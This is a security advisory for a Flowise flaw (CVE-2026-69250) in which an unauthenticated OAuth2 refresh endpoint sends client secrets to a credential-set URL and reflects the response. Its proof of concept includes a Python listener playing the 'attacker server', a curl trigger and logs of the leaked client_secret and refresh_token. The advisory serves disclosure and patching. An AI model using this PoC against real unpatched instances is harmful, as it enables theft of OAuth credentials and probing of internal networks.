Advisory

GHSA-r745-8hwv-h473

Also known as: CVE-2026-69250

Summary

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

Details

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist
  • dist/utils/constants.js includes: - /api/v1/oauth2-credential/callback - /api/v1/oauth2-credential/refresh
  • dist/index.js auth middleware uses: - const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
  • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  1. User-controlled SSRF target
  • In refresh handler (dist/routes/oauth2/index.js): - loads credential by credentialId - decrypts credential data - reads accessTokenUrl - executes: - axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
  • No secureAxiosRequest() / denylist wrapper is used in this path.
  1. Non-blind response reflection
  • Response returns: - tokenInfo: { ...tokenData, ... }
  • tokenData is the attacker/internal server response body.
  1. Secrets sent to SSRF target
  • Request body includes: - client_id - client_secret - grant_type=refresh_token - refresh_token

PoC

Environment used

  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
  • outbound SSRF to attacker/internal targets,
  • direct leak of client_secret and refresh_token to SSRF target,
  • direct response read from target via API response (tokenInfo).
  • Deployment impact:
  • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-08-04 14:20 UTC
Modified
2026-08-04 14:41 UTC

Affected packages and fixes

flowise

npm · All systems

Affected

  • introduced 0, fixed 3.1.3 (semver)

Fixed versions

3.1.3

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences